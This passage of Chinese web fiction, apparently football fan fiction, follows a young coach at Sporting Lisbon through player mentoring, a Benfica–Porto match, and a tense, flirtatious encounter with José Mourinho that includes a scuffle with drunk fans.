想到调校“一根筋”的乔安会是多么长路漫漫，安东尼就一阵头疼，找来了奎西蒙，要求对方重新作出一份训练计划，不遗余力的“关照”乔安。 嬉皮笑脸和队友说笑的乔安此时还不知道他命里的劫数来了。 接下来几天，球员们发现教练不在办公室里研究下场比赛的对手，而是频繁出现在球场、更衣室，但凡看见乔安，就开始死亡提问，从场景判断到队友分析，题目越来越犀利。 乔安一开始还能回答几句，到后来只能支支吾吾，后背爬满冷汗，每一次问完问题，安东尼都是一言不发转身离开，但那由平静转向失望的眼神，在乔安心中留下了深深地阴影，几乎令他抓狂！ 人生中第一次，训练结束后的乔安没有出去撒欢，窝在会议室里观看比赛录像带，一笔一划的在纸上写出他对局面的思考。 对于乔安的转性，朋友们一个个都感到不可思议，发短信邀请他来夜店和超模美女共度美好时光，竟然也被拒绝了，要知道以前的乔安可从来不会错过策马奔腾的好事儿，他们集体怀疑，乔安是在场上受了难言之隐的伤痛，纷纷给他出谋划策，寻觅良医，乔安黑着脸把这些人骂了回去。 他们懂什么？ 体会过被人期待的滋味吗？有人愿意给他们机会成为球队的中流砥柱吗？ 自从和教练深入谈论过一次职业发展后，乔安感觉自己彻底升华了，每天训练再也不插科打诨，认认真真做完所有项目，就算助教奎西蒙说他完成的不好，要给他加练，也不生气，反而礼貌的感谢对方的帮助。 球队的球员们也惊呆了。 这家伙怎么这么卷？前几天聚在一起吐槽“榨汁机”的人仿佛不是他一样。 感觉自己被小伙伴出卖了的球员们也开始加入训练热潮，表现得一个比一个卖力，让周三进入足球场观摩训练的球迷们惊呼：主教练斯图亚特太会激励球员了！ 见状，葡萄牙的报纸立刻转变口风，一改对他的冷嘲热讽，不要钱的夸赞，自我打脸的行径赚足了流量。 波尔图俱乐部，教练办公室里，一只手拿起桌上的《球报》。 封面的男人站在球场中央，浅色丝麻面料的西装三件套包裹着他紧致的身材，明明是休闲西装，却被他穿出高级禁欲的味道。目光扫向球员，看不清眼底的情绪，将线条冷冽、棱角分明的侧脸留给镜头，帅的惊为天人。 仔细打量了一番安东尼.斯图亚特的全身照后，男人挑了下眉，翻到下一页。 记者写道：“斯图亚特的执教风格就像是蛇，没人能从他的眼里看出意图，使用的战术千变万化，让人不知道下一秒他会不会露出獠牙，笔者唯一能确定的就是：他的牙带着致命的毒！” 在文章最后，记者总结道：“葡超的教练们，你们要小心了！” 呵呵，有趣。 男人勾了下唇角，似乎在讥笑，又似乎很感兴趣，放下报纸后，思索了几秒，播出了一通电话。 “球票？” 安东尼听见奎西蒙的邀请，下意识皱了下眉，重复道：“你是说 这周天波尔图对阵本菲卡的客场球赛？” 这场两大豪门对阵的赛事，早在半个月前球票就一售而空，奎西蒙却突然拿出了两张最前排的票，实在是让他惊讶。 “对，就是这场，”奎西蒙难掩激动，“我在波尔图俱乐部的朋友恰好有多余的票，就送给我了。” “好吧。” 安东尼点点头，接受了这个说法，问：“你确定不邀请你的女朋友一起看？” “哦，索菲娅周末要去冲浪，你知道的，她对球赛本来也没兴趣，”奎西蒙耸了耸肩，“要是单独和你去看，我想她会很乐意。” 安东尼露出了礼貌的笑容。 现场观赛和看录像带的差异不是一星半点，对于球迷来说，镜头聚焦在带球的球员身上，会让他们有视觉上的享受感，但对教练来说，从全场球员跑动的大局观察更能摸清对手球队的战术策略。 想了想，安东尼觉得这个机会确实不应该错过，于是点头答应了奎西蒙的邀请。 “哦对了，”奎西蒙想起了什么，问道：“老大你要不要和她说一下？” “她？” 安东尼反问。 “是啊，”奎西蒙怼了怼他的胳膊，笑的一脸暧昧，“就是和你同居的人，天呐，我真想见一见到底是什么样的女人能俘获你的芳心，肯定是天使一样完美的人物。” 安东尼顿时沉默了。 他想起来奎西蒙的误会是哪来的了。 前天早晨他在厨房做早餐，克里斯蒂亚诺在浴室洗澡，少年习惯一边洗一边唱跳，大概是转身的动作幅度太大，将花洒扯断了，水从断裂的喷头里飞溅，撒了一地。 将目瞪口呆的少年拽出来后，安东尼让他先去俱乐部，自己留下来换花洒、收拾残局，因此第一次上班迟到，奎西蒙问他的时候，他正在思考对乔安的改造方案，随口一答：花洒被小孩不小心弄坏了，大概就让奎西蒙产生了误会。 谁对情人的爱称会是小孩呢？！ 安东尼隐隐无语，但也没解释，他知道克里斯蒂亚诺不想得到特殊待遇，于是在面对奎西蒙戏谑的目光时默认了他的想法。 时间一晃，很快来到了周六。 第十九轮联赛，里竞客场对战贝伦人，以4：1的成绩拿下三分。 乔安首次以中场位置首发，辅助球队打入两球，这是个非常亮眼的成绩，赛后安东尼对他露出了特训以来的第一个微笑，把乔安激动地当场红了眼眶，抱着安东尼发誓以后会继续努力，尽早成为一名称职的中场。 安东尼嘴角挂笑应声，手上动作毫不留情，将人从身上拔下来。 除此之外，本赛季第三次首发的克里斯蒂亚诺也拿到了第二枚进球。 少年激动地红了眼，紧紧抿着嘴，看向安东尼，目光灼灼。 一切都离不开这个人的帮助。最初，他和球队格格不入，永远是一个人坐在大巴车上，戴着耳机隔绝世界，是安东尼让他正视了自己，努力融入球队。 事实证明只要努力就会有回报，在和一众球员交好后，克里斯蒂亚诺得到了传球，也用这一球，证明了自己的实力。 克里斯蒂亚诺没忍住，在无人注意的时候，拽住安东尼的衣角，轻轻说了声：“谢谢”，快速跑开。 安东尼看着他风一样的背影，忍不住失笑。 这场比赛的胜利，并没有在媒体上掀起风浪。 似乎人们渐渐有了一种共识：里竞是来争取夺冠的，赢了也是理所应当。 从最开始被球迷、媒体怀疑，甚至无端谩骂，到现在成为所有人心中的冠军种子选手，这一路有多少艰辛和痛苦，只有里斯本竞技的球员们自己知道。 球员们望着最前方，引领着球队的身姿挺拔的背影，心想：教练他说的都是真的。 他会带领他们，拿下属于里斯本竞技的所有的荣誉。 20. 原来是他！ 结束了一天的比赛，球员们归心似箭，下了大巴后，一辆辆车子快速驶出里斯本竞技俱乐部大门，一溜烟消失的无影无踪。 时间很晚，再加上今天的胜利，胸膛残存着血液贲张的兴奋感，安东尼决定不回家做饭了，领克里斯蒂亚诺出去吃一顿大餐，当做是少年进球的嘉奖。 俱乐部停车场，身价几十万英镑的阿斯顿.马丁终于能重出江湖。 时隔几周，再见到这辆跑车，克里斯蒂亚诺难掩激动，眼睛唰的一下亮了起来，没等安东尼按下车钥匙解锁车门，人已经像一颗小炮弹飞了出去。 安东尼解锁车子的动作一顿，长腿微曲，靠在车门边等到少年的指尖从银白车标上恋恋不舍的挪开，他抬手拉起车门，做了个邀请的姿势，少年弯腰爬进车内。 引擎声响彻停车场，安东尼启动车子，缓缓驶出车位。 余光扫过身侧，少年蜜棕色的眼睛看他看的津津有味，他心念一动。 “如果你想学，我可以教你开车。” “那太好了，”克里斯蒂亚诺点点头，说：“还有一年零三个月，我就可以考驾照了。” 安东尼先是一愣，恍然大悟，是了，和美国满十六岁就能拿见习驾照不同，葡萄牙的道路法规定驾照考试当事人必须满足十八岁的条件。 没等他开口，克里斯蒂亚诺补充道：“教练，你能明年再教我吗？” 少年抿了抿唇，一脸羞赧，“我怕我学会了，忍不住想开。” 安东尼顿时失笑。 果然是孩子，居然会有这么纯真的想法。 但明年自己真的能教他开车吗？ 和里竞主席富瓦克签约的教练合同只到这个赛季末就结束了，对于自己的去向，安东尼还没有思考过，实在是他太忙了，整顿现在的球队就占据了他全部的心神，根本没有静下心梳理自己的时间。 下周就是冬歇前的最后一场比赛，或许他可以利用圣诞假期，思索一下未来，再和富瓦克好好聊一聊。 想起圣诞，脑中顿时闪过一个模糊的身影，安东尼握紧手里的方向盘，嘴角逐渐下移。 克里斯蒂亚诺隐约察觉到安东尼情绪突然变差了，但不知道原因。 他抱紧怀里的包，学着对方的模样，紧紧抿唇。 车内的气氛骤然降至冰点。 这顿饭吃的极其乏味，圆桌两端的两人各自沉默，一点没有胜利后的喜悦气息，餐厅里，有球迷发现了两人，但见气氛不对劲，犹豫踌躇了半天，还是没敢上前。 斯图亚特冷着脸的威慑力实在惊人，怪不得年纪轻轻就能降服这些天才球员。 看着两人相继离去的背影，球迷感叹道。 晚上十点多，临睡前，安东尼靠在床头，手里捧着典藏版的《孙子兵法》，足球形状的橘黄色的小灯挂在身侧，给海蓝色的睡衣添上了一抹暖色。 房门外，有人敲门。 安东尼放下书，“请进。” 门被缓缓推开，露出门后的克里斯蒂亚诺，少年穿着安东尼同款的浅蓝色条纹睡衣，站在门边，一言不发。 安东尼在心里叹息了一声，抬手摘下脸上的眼镜，银边的护目眼镜放在床头柜上，镜片反射出淡淡的橙色。 他轻声问道：“有事吗？” “没有，”克里斯蒂亚诺诚实道，“我只是有些睡不着，因为你今天很不对劲。” “自从我们从俱乐部离开后，你的心情就不好，吃晚饭的时候也心不在焉，我觉得这样不对。” “哪里不对？” 安东尼语气淡淡，反问道。 对比往日对少年温和包容的语气，这句话显得有几分冷漠，甚至有种防备感，但安东尼自己却没听出来。 克里斯蒂亚诺认真道：“把坏情绪憋在身体里不对，这不健康。” 因为几年前就尝试过，所以少年很懂这份滋味，在他刚来里斯本时，也不全是自信的，面对球员、教练的冷嘲热讽，他有过沉默的时候，甚至想过要退出俱乐部，期望能逃离一切，但后来发现，逃避不能解决任何问题，所以当再次被人嘲讽时，他选择大声反驳，告诉所有人，自己一定会成为最优秀的球员。 将情绪表达出来，反而让他获得了一种一往无前的力量。 安东尼一向对自己很好，所以克里斯蒂亚诺真心希望他也能获得这份力量。 少年问的直白：“教练，你为什么难过呢？” 显然，安东尼没有想到少年会坦诚布公的和他谈论今天的情绪问题，被他的直球击中，顿时怔住了。 他张了张嘴，话语像是堵在了喉咙里，怎么也说不出来。 哪怕他不说话，投在身上的视线也没有离开，始终是坦诚的、明亮的，就像克里斯蒂亚诺本人，坦坦荡荡、毫无遮掩。 少年始终在等他的答案。 半响，安东尼低笑了一声，似乎是克服了心里的防线，他缓缓张开口。 “不是难过，”他说，“我在犹豫要见一个人，但我不知道他有没有变。” “哦，”克里斯蒂亚诺点点头，问：“你希望他变吗？” “我不知道。” 安东尼摇了摇头，笑着答道：“变和不变，对我来说也没有意义了。” 克里斯蒂亚诺似懂非懂，点点头，“可你很在乎他。” “嗯，”安东尼轻描淡写道：“但他不会在乎我了。” 听起来是个悲伤的故事。 克里斯蒂亚诺拧紧眉，说：“别把事情想的那么糟糕，事在人为，我相信上帝会看见一切。” “如果你还在乎，就该去见他，”少年一脸真挚，“我会给你最多的祝福。” 祝福吗？听起来虚无缥缈的东西。 安东尼不信什么鬼神，更没有信仰，但克里斯蒂亚诺能关心他，至少证明这段时间没有浪费，少年纯粹的感情，让他有些受用，心里暖暖的。 安东尼笑了笑。 “谢谢，”他说，“你的祝福对我很有意义。” * 或许真是克里斯蒂亚诺的祝福起了作用，安东尼今晚睡得很好，一夜到了天明，睁开眼后，他看着窗外高悬的太阳，恍惚了一秒，想起今天还要看球赛，起床换了身衣服出门了。 光明球场。 这里是本菲卡的主场，最多可容纳70000名观众，始终保持葡萄牙最大球场的地位。看台如翅膀的展开式的设计，让满座的会场看起来气势磅礴。 多亏媒体小报对安东尼全身照的执念，让他在里斯本的人气暴涨，为了不引人注目，安东尼入场很晚，巨幅墨镜遮挡了大半张脸，即使如此，座位附近球迷的视线还是时不时扫过他，目光炙热。 奎西蒙不太习惯被人注视的滋味，偏头看向一旁，他的老大就显得淡定很多，长腿一上一下叠起，十指交握垂在膝头，目光落在球场上，沉稳而专注。 被对方不自觉散发的魅力闪了眼，奎西蒙快速收回视线，老老实实做一个合格的副手，向安东尼介绍比赛情况。 “本菲卡最近五场四胜一平，势头不错，估计是想着主场优势压制对手，大名单里有大半都是进攻型球员，我觉得他们用4-3-3阵型的几率最大。” 自从上次安东尼使用这个快攻快守阵型大获成功后，不少俱乐部教练都试图模仿，一下子让这个荷兰的经典战术阵型在葡萄牙复兴了。 球场边，鲁伊·科斯塔和努诺·戈麦斯正在热身，两人都是本菲卡的明星球员，前者司职前腰，以其出色的控球技术和视野而闻名。后者司职前锋，以其出色的射门能力和头球技术而著称。 奎西蒙啧啧称奇，“本菲卡的运气也是真好，之前引进的球星一直状态不佳，自从换了战术，竟然枯木逢春一样，五场比赛总共拿了七个进球，波尔图这才怕是危险了。” 安东尼对此不置可否，目光落在看台围栏前，男人披着黑色风衣，背对观众席，虽然看不见脸，却让他有一种熟悉的感觉。 “那就是波尔图的新教练，”奎西蒙注意到他的视线，补充道：“很明目张胆吧，直接站在那儿指挥。” 据媒体消息，今天这场比赛后波尔图的现任主教练才会离职，这位继任者却没有丝毫要给上一任面子的意思，站在球场边指挥球员，明晃晃的昭示着他的身份。 安东尼点点头。 是个狂人，他心想。 随着哨声响彻球场，比赛开始了。 和奎西蒙猜想的一样，本菲卡一上来就是攻势十足的打法，球员的移动、传球干净利落，组织攻击的速度也很快，和里竞对阵博阿维斯塔的那一场，风格几乎是九成九的相似。 对面的波尔图似乎是招架不住了对方的攻势，球员们集体向后缩，本来就是防守反攻的阵型打法，此刻更加畏手畏脚。 身后，球迷的低骂声此起彼伏。 安东尼看了一会儿局势变化，缓缓垂下眼，浓郁纤长的睫毛在眼下打出一团阴影，神色模糊不清。 奎西蒙好歹跟 着安东尼学了两三个月的战术，自认为对局势的摸索能力大大提升，很快给出自己的预测。 “本菲卡能赢。” “嗯，”安东尼慢条斯理道，“说说你的分析。” 果然，和老大一起看球，就不是单纯的消遣。 奎西蒙坐直身体，一丝不苟道：“本菲卡的控球率很高，中场踢得节奏很稳，二十分钟了依旧是游刃有余，从前锋到后卫，球员们的配合流畅，是能进球的状态。” 安东尼点点头，没有做出评价。 奎西蒙心里有些打鼓，出声问道：“老大你怎么看？” “和你相反。” 又是一记射门没进球，安东尼跟随球迷鼓了鼓掌，在奎西蒙等他解释等的不耐烦薅他领子之前，缓缓开口。 “他们到现在还没进球。” 奎西蒙一愣，抬头看了眼球场大屏上的计时器，不知不觉中，上半场已经过了三十分钟，他心里顿时咯噔了一下。 “发现了？” 安东尼扫了眼身侧呆若木鸡的奎西蒙，收回视线。 “嗯.....”奎西蒙回过神，表情复杂，“强攻快攻战术，就是要快速进球，三十分钟还不进球，对士气影响很大。” 安东尼点点头，用一种孺子可教的语气道：“这就是一鼓作气，再而衰，三而竭。” 哪个教练不喜欢一上场就踢攻势足球？既能让球迷看的舒爽，又能让自己赢得痛快，但事实上，球坛里大部分教练都是主守不主攻。 原因为什么呢，当然是攻势足球有一个极大的弊端——不可撤回性。 换做是防守足球，教练可以根据场上情况，随时调整攻势，趁着敌人露出破绽，一击毙命；可如果一上来就打攻势足球，考虑沉没成本，就只能不停攻击，直到轰开敌人的大门，才能变化攻势。 换而言之，不能进球的攻势足球，就是骑虎难下。 安东尼选择进攻攻势的场次，都是以强对弱的情况，但本菲卡和波尔图却是势均力敌的两支球队，这个时候打攻势足球，无疑是在赌博。 听完安东尼的分析，奎西蒙遗憾道：“波尔图今天的运气真好啊。” 竟然误打误撞，碰上了本菲卡战术失利。 “运气吗？” 安东尼语气轻飘，扫过场边的黑风衣，淡声道：“我不这么认为。” 时间来到第四十五分钟，裁判吹哨，如安东尼所料，场上一个进球都没有。 中场休息后，本菲卡改了战术，开始迂回婉转的防守，球迷们本以为波尔图会趁机压上去强攻，但事实上波尔图依旧没有进攻的意思，球队始终注意着防守，稳如泰山。 第六十五分钟，上半场收获了一张黄牌的本菲卡的后卫因铲断不干净，再次得了一张黄牌，两黄变一红，被罚下场。 就在这时，场边的男人忽然动起来，对中场的球员传达了某种指令，接下来，波尔图开始有意识的拦截、抢断、突围、射门，把“趁人之危”的小人行径表现得淋漓尽致，毫不掩饰。 第七十八分钟，波尔图前锋佩纳在禁区大脚抽射，足球宛如搭在重弓上的离弦之箭，以不可阻挡的攻势，砸进球网。 门将甚至连张开手臂的机会都没有，眼睁睁的看着波尔图攻陷自家球门，跪地怒锤草坪。 一球入门，波尔图的球员们显然很兴奋，围着球场肆意奔跑，搂抱庆祝。 就在球迷以为他们会继续这么攻下去，心潮热血沸腾，却发现一切都是自己多想了。 波尔图它又又又退了！！！ 不少球迷纷纷吐血，包括安东尼身旁的奎西蒙，抑制不住张嘴大骂场边的教练是缩头乌龟。 不管是不是龟，人家的战术确实好用，第九十分钟，随着裁判吹哨，波尔图以1：0，在光明球场斩杀本菲卡，拿下联赛的三分。 安东尼有理由相信，下次碰见波尔图，本菲卡再选快攻快守战术，那一定是主教练脑子被驴踢了。 这场球赛，不说酣畅淋漓吧，至少让安东尼认识到了他在葡超的最大对手，一个信仰着他最讨厌的“1：0”主义的狂人。 但那股熟悉的劲儿到底是哪来的呢？ 就在安东尼百思不得其解，前往球场停车位，坐进车里准备开车离开时，一个黑色身影突然从车旁窜了出来，拉开车门径直坐了进来。 安东尼浑身肌肉猛地绷紧，偏过头，凌厉的目光扫过对方的脸，先是一愣，紧接着恍然大悟。 原来是他！ 21. 头孢就酒 何塞.穆里尼奥。 安东尼和他的初见，还是在三个月前，联赛第七轮——里斯本竞技对阵莱利亚的时候，穆里尼奥是当时莱利亚的主教练。 一只不强不弱的葡超球队，却以2：1的成绩，击败了劳伦佐执教的里竞。 赛后，他跟着劳伦佐去新闻厅接受记者采访，接受完采访的穆里尼奥恰好离开，安东尼无所事事，站在屋外等待，两人正好看见，互相打了个照面。 本来，两人的交际也就止于此了，偏偏穆里尼奥为自己创造了机会。 路过的男人忽然停下脚步，看向安东尼。 他说：“里竞是这个赛季不行，还是一直这么不行？” 安东尼缓慢地眨了眨眼。 他怀疑是自己听错了，对面这是在挑衅？ 没等他开口，男人继续道：“我还以为是本菲卡的问题，没想到葡超豪门都一样让人失望。” 这个人为什么一直在挑衅？？？ 安东尼不想对足球界发表任何评论，身为一个体面人，他脸上保持着微笑，本想随便说两句就离开，谁知对面的男人还有话说。 只是这一次，点评的主体变了。 男人的视线从他年轻的脸一路下滑到他的亮皮鞋面，又回到了他的脸上，表情有些疑惑，问：“你是来这儿镀金的吗？” 安东尼的笑容有些绷不住了。 他收起微笑，语气冷淡道：“先生，不知道你是哪里来的优越感，凭你侥幸在这儿拿到的胜利吗？” 穆里尼奥听完他的话，非但没有生气，甚至还有些惊喜。 追问道：“你觉得我哪里是侥幸？” “这场比赛，我猜你想打攻势足球。”安东尼说，“虽然阵型确实是那么回事儿，可你的球队在可选择的场景都下意识的回传，或是平传，拿着打防守战的理念去踢攻势足球，球队整体的进攻节奏冗长，如果不是靠球员的个人能力，你不会胜利。” “显然，你的球员比你这个教练发挥的好。” 安东尼做出总结。 这个评价过于犀利了些，不符合他低调做事的风格，可谁让对面的男人嘴不饶人。 不等男人反应过来，安东尼朝他点点头，转身离开。 等到穆里尼奥品完安东尼的评价，回过神，目光一亮，张口想说些什么，抬起头，对面的人早已消失不见。 走廊里，一阵风吹过，掀起额前的碎发。 穆里尼奥忽然笑了。 “葡超终于有点有意思了。” 他喃喃道：“继续留下试试也不错。” 在安东尼不知情的情况下，穆里尼奥更改了前往西甲学习的念头，留在莱利亚又执教了几场比赛，确认这个球队和自己理念不合后果断离开，很快又收到了波尔图的邀约。 在此之前，穆里尼奥在报纸上看见了安东尼第一次开新闻发布会的照片，一身整齐的炭灰色西装，头发向后梳成背头，身形挺拔，淡蓝色眼眸注视着镜头，目光凌厉自信。 比初见时更具锋芒。 手指滑过新闻报道，最终停在腰封上的几个黑色大字“我们只会是冠军！”，有节律的点了点，单薄的报纸发出了细碎的莎莎声，像是无声的对抗。 穆里尼奥拿出手机，拨通电话，将话筒贴在耳边。 “我想我可以入职了。” 话筒对面传来窸窸窣窣的声音，男人的目光停在报纸上，“你问我赛季目标？” 他语气轻松道：“当然是冠军。” 在接下来的时间里，穆里尼奥重新思考了自己的战术体系，他发现，比起进攻足球，他还是更喜欢打防守反击，他似乎有一种天赋，知道在什么时候能一击制敌。 确定了自己执教的方向，穆里尼奥对训练内容、需要的球员有了进一步明确的概念，一边训练波尔图的球员融入自己的战术体系，一边搜集有关安东尼的新闻，有空就去看里竞的比赛。 在不知不觉中，穆里尼奥将自己变成了一个跟踪狂！ 哪怕是旧识，也不该问都不问，理直气壮的坐进别人的车里。 安东尼看向身侧的男人，又看了一眼后视镜，正对着本菲卡光明球场的后门，一群人推门而出，身上还扛着摄像机和话筒，四处张望，显然要找的人就是自己身旁这位了。 他淡定问道：“你做了什么？” 竟然能让“无冕之王”表现得这么激动，穆里尼奥要么是在赛后一言不发，要么是说了劲爆到极点的内容。 根据两次短暂的接触，安东尼直觉是后者。 果然，穆里尼奥耸了耸肩，一脸不以为意：“我只是实话实说。” 他自来熟的拍了拍屁股下的坐垫，“快开车。” 眼见媒体就要靠过来，不想被围观的安东尼顺势踩下油门。 黑亮的跑车在燥耳的嗡鸣声中飞速驶出停车位，矫健又模糊的背影一闪而逝，让所有记者摸不着头脑。 谁也想不到，车里竟坐着葡超最炙手可热的两个教练！ * “嘿，就在这儿！” 透过车窗，穆里尼奥看见了小巷子深处黄褐色的石砖楼，门框上方刷了一行褪色的蓝字——“Taberna”，顿时坐直，大声让安东尼停车。 跑车缓缓停在路边石沿旁，安东尼做了个手势，请穆里尼奥下车。 他今天做的已经够多了，善良的让他都想自我讽刺一声：做得好，绅士先生。 但穆里尼奥并没有见好就收的打算，转头，用一种理所当然的口吻道：“一起喝一杯？” 安东尼微笑，婉拒，“不喝。” 他挑眉：“原因？” “我吃头孢了。” 安东尼面不改色道。 哦，真是个让人遗憾的消息。 穆里尼奥只能放弃这个念头，强行交换了电话号码，留下一句：“下次一定不要吃头孢”后，果断下车，走进小巷。 .....真是个奇怪的人。 安东尼看着对方离去的方向，启动车子，刚向左打方向盘，余光扫到了几个走进小巷的大汉。 视线在对方红白色的球衣上停留了一会儿，收回目光，看向前方，神色平静。 半响，他叹了口气。 推门，下车，走进小巷。 小巷深处，一盏射灯照在地面，在昏黄的光线下，穆里尼奥深邃的五官轮廓映入人眼帘。 “这不是波尔图的教练吗？” 一声高呼划破夜空。 闻言，醉醺醺的男人们顿时目露凶光，将男人围了起来，包围圈不断缩紧，穆里尼奥站在圈子中心，氛围越来越紧张。 他神色平静的想，也不知道自己被本菲卡球迷痛殴，能让对方被足联罚多少欧元。 最好是别扣联赛的分，不然太便宜里斯本竞技了，得让安东尼有被追逐的危机感才行。 眼看着沙包大的拳头裹挟着凉风，即将打在自己的脸上，穆里尼奥下意识闭上了眼。 啪。 极重的一道拍击声，穆里尼奥还没反应过来，耳边传来又关节咔地一声脆响，随后是一阵撕心裂肺的叫嚷声。 他睁开眼，目光所及之处，是极为神奇的一幕。 狭窄的小巷里，两个大汉横躺在地上，捂着肚子支支吾吾的叫着，声音像是发情的野狗。 刚刚还想对他施暴的男人弓着腰，双手被身后的西装男折成一个畸形的角度，不知道是哪里发力，施暴男瞬间被翻转，胸口撞上墙面，闷响砰地炸开，灰色碎石簌簌落下。 “草，你是谁啊！” 男人嚷嚷起来，不断扭动身躯。 宽大的身体散发着浓郁的酒臭和汗味，攻击着他的嗅觉，安东尼皱了皱眉，伸出腿，以不容分说的力度分开男人的胯，对着膝窝向前一顶。 男人膝盖一软，噗通一下，跪在地上。 一只手按住他的手腕，一只手抵在他的肩脊，安东尼的小臂从袖口探出一截，绷得笔直，淡青的血管在皮肤下微微隆起，坚实的胳膊像是一块儿 铁，压得男人身上的关节吱吱作响，冷汗顺着额角滑落，不禁大声求饶。 安东尼俯下身，冷冷道：“球队输了，就要对人施暴？你真的很恶心。” “下次再想打架，挑个合适的对手，我会让你知道什么叫做血腥暴力，你明白吗？” 安东尼手上力道加重了几分。 “嗷——明、明白了，快松手！” 大汉脸色惨白，几秒后，翻了个白眼，脑袋一歪。 竟然疼的直接晕了过去。 穆里尼奥眨了下眼。 安东尼缓缓松开手，胸膛在西装内里起伏的幅度略深，呼吸粗重。 他转过头，抬起眼，对上穆里尼奥有些失神的目光，“还不报警？” 穆里尼奥回过神。 “早就报了。” 他一边说，一边摊开手心，甩了甩手里的手机，屏幕上赫然亮着通话中..... 狡猾的家伙。 安东尼挑了挑眉，没说话。 两人站在巷口，静静等待警察到来。 在欧洲，球迷袭击球员和教练的现象很多，这种行为是非常严重的，不仅是极端球迷个人，就连俱乐部也要受处罚，警察赶来后，看见这两个本来不相干却凑在一起的教练，顿时露出惊讶地神色，很快又恢复了。 “请问您想怎么处理？” 警察看向两个人中看起来脾气更加温和的安东尼，问：“是想走正规途径，联系律师吗？” “不用了。” 穆里尼奥率先开口。 “但这几个袭击我的混蛋，必须要在监狱里待满应该待的时间！” 语气冷冽的像是西伯利亚刮来的北风。 警察先是一愣，目光在两人之间打量，最后点点头。 “请放心，我们会妥善处理。” 几个大汉肩并肩被塞进了警车后座，宛如挤在罐头里的沙丁鱼，嘟嘟囔囔的抱怨，画面显得有几分滑稽。 公事办完了，警察看向安东尼，表情有些扭捏。 “我.....” “要拍照吗？” 安东尼很上道，得到对方惊喜的点头，走上前，想起了什么，又转过身。 穆里尼奥的目光落在他身上。 男人立在灯光侧方，半张脸被光削出锋利的轮廓，不知道是不是刚刚打过架的缘故，身上散发出一种野性的味道，余烬滚烫，灼热了他的眼眶。 一阵夜风恰好灌入巷口，安东尼头顶的发胶再也撑不住了，一缕黑棕色的碎发被吹起，斜斜垂下来，悬在眉峰上方轻轻晃动。 昙花一现的凌乱，比整洁得体的模样更勾人心魄。 穆里尼奥的呼吸有些乱。 安东尼：“帮我拿一下西服。” 指尖在从腰间一路上滑到胸口，解开一颗颗的贝母扣，安东尼脱下沾满灰尘的西装外套，抖了抖，叠在胳膊上，递向穆里尼奥。 男人挑眉，“不怕我把你的高档外套拿走卖了？” 一边说着，一边接过西装，随意搭在肩头。 “不会，”安东尼整理了一下袖口，和歪掉的领带，慢条斯理道：“外面可是有很多本菲卡球迷。” 这是说他出去就会挨揍是吧？ 穆里尼奥一时语塞了。 他安静的站在一旁，目睹安东尼和球迷合照的全过程。 对方表现的十分耐心，脸上始终挂着浅笑，配合着或低头、或弯腰，最后贴心的送上一句“今天辛苦了”，把球迷哄的五迷三窍，这才转身离开，款款走来。 穆里尼奥单手插兜，看着球迷待在原地呆呆地注视着安东尼，漫不经心的想，里竞球迷的福利待遇挺不错啊。 走上前，将外套扔进对方怀里，他问：“现在可以喝一杯了？” “嗯，”安东尼将西装搭在小臂上，语气波澜不惊，“头孢的药效应该过了。” 真是个虚伪的家伙。 穆里尼奥在心里低骂一声。 嘴角忍不住的上扬。 22. 证明之战！ 和穆里尼奥喝过酒，两人的生活短暂相交又分开，好像没引起任何波澜。 联赛第二十轮，里竞主场对战贝伦人，上一轮他们以客场4：1的成绩拿下三分，在主场优势的情况下，没人会赌贝伦人获胜，更多是关注这次里竞能进多少个球，以及怎么过冬歇期。 是的，联赛第二十轮是冬歇前的最后一场比赛了，葡萄牙的冬歇收官战的具体时间是12月30号，往年的时间波动也在1-2天左右，之后，联赛便进入了冬歇期，直至1月11日才恢复。 将近两周的假期，对于冬歇时间漫长甚至能达到二十多天的德甲来说，不过是毛毛雨，但对于几乎没有冬歇的英超，就是上天的恩赐了，不管如何，只要是放假，就够球员兴奋的了。 安东尼一早到了俱乐部，去更衣室晃悠了一圈，明显感觉球员们气氛高涨，看似在做赛前热身训练，实际上心都飞去远方了。 人毕竟不是机器，没法强求时刻严于律己，安东尼没有生气，反而问起他们的冬歇计划。 大部分人的答案都是回家和家人团聚，有人说自己新添了侄女，有人说妹妹刚毕业，一张张青春的、欢乐的脸在安东尼面前闪过，幸福的让他有些恍惚。 “教练你呢？” 球员们都在看他，表情十分好奇。 虽然教练和他们的关系越来越融洽，依旧不改往日的神秘做派，他们对他的家庭情况一无所知，不过教练身上的衣物和配饰都很昂贵，举手投足散发着贵族气息，身世一定不会简单！ “我吗？”安东尼回过神，轻轻道：“也会家人团聚吧。” “哦——” 球员们表情失望，但都默认了教练会在冬歇期回英国，失去了好奇心，没有继续问下去。 克里斯蒂亚诺抬头看过去，安东尼捕捉到了少年的目光，两人对视一眼，心照不宣的偏过头。 大家纷纷散开，自觉去训练室按摩、热身，备战下午的比赛。 “教练，”迪马斯站在原地，神色期期艾艾，有些紧张，“您今天晚上有事吗？” “没有。” 安东尼疑惑道：“是有什么事吗？如果需要我帮忙，随时开口。” “不，您帮我的已经很多了。” 这话迪马斯说的真情实意，自从上次在会议室情感爆发后，教练又找了他几次，帮他梳理职业规划，又给他的生意提了很多建议。 迪马斯脸上露出感激的表情，笑道：“多亏了您，卡西娅最近轻松了很多。” “我和卡西娅办了一个宴会，也邀请了球员们一起来玩，”迪马斯声音颤了颤，嗓子发紧，“您今晚能一起来吗？” “当然，我怎么会错过你的邀请。” 安东尼一口答应了下来，一副这是理所当然的模样。 迪马斯顿时露出一个灿烂的笑容，原本担心教练不想和他们私下里接触的包袱，此刻也彻底放了下来。 “今天你可是在首发阵容里，迪马斯，”安东尼挑眉道，“好好表现，把胜利献给你的女士做礼物。” “不。” 迪马斯在安东尼有些惊讶的目光中，坚定地摇了摇头。 他认真道：“我会把胜利献给你，我的教练。” * 冬歇前最后一场比赛，对球迷、球员来说都是具有重大意义的一场，对安东尼来说也一样，原因就是——他的4-2-3-1阵型终于有机会再次出现了！ 或许是前几次尝试失利，安东尼对这个阵型对了几分执着，憋着一口气，想靠一场胜利来证明这个可攻可守阵容的价值。 今天就是这个机会。 球员们牵着球童，昂首挺胸，随着裁判一起走进球场，安东尼和他们相隔了几步，缓缓走出球员通道，独自坠在队伍最后，却无人敢小看他。 如同狼群迁徙一般，独自在最后，孤独行走的狼，才是整个群体的王者。 场边镜头移动聚焦，他的脸出现在大屏幕上，照例引来一阵狂热的欢呼。 从刚开始不适的皱眉，到现在平静无波的点点头，安东尼自觉这几个月的教练时光还是在自己身上留下了很多的烙印。 一阵冷风吹来，安东尼紧了紧身上的黑色大衣，任由领子被风吹得站立，贴在脸颊处晃动，露出的冷白耳廓染上一抹绯红。 “嘶——” 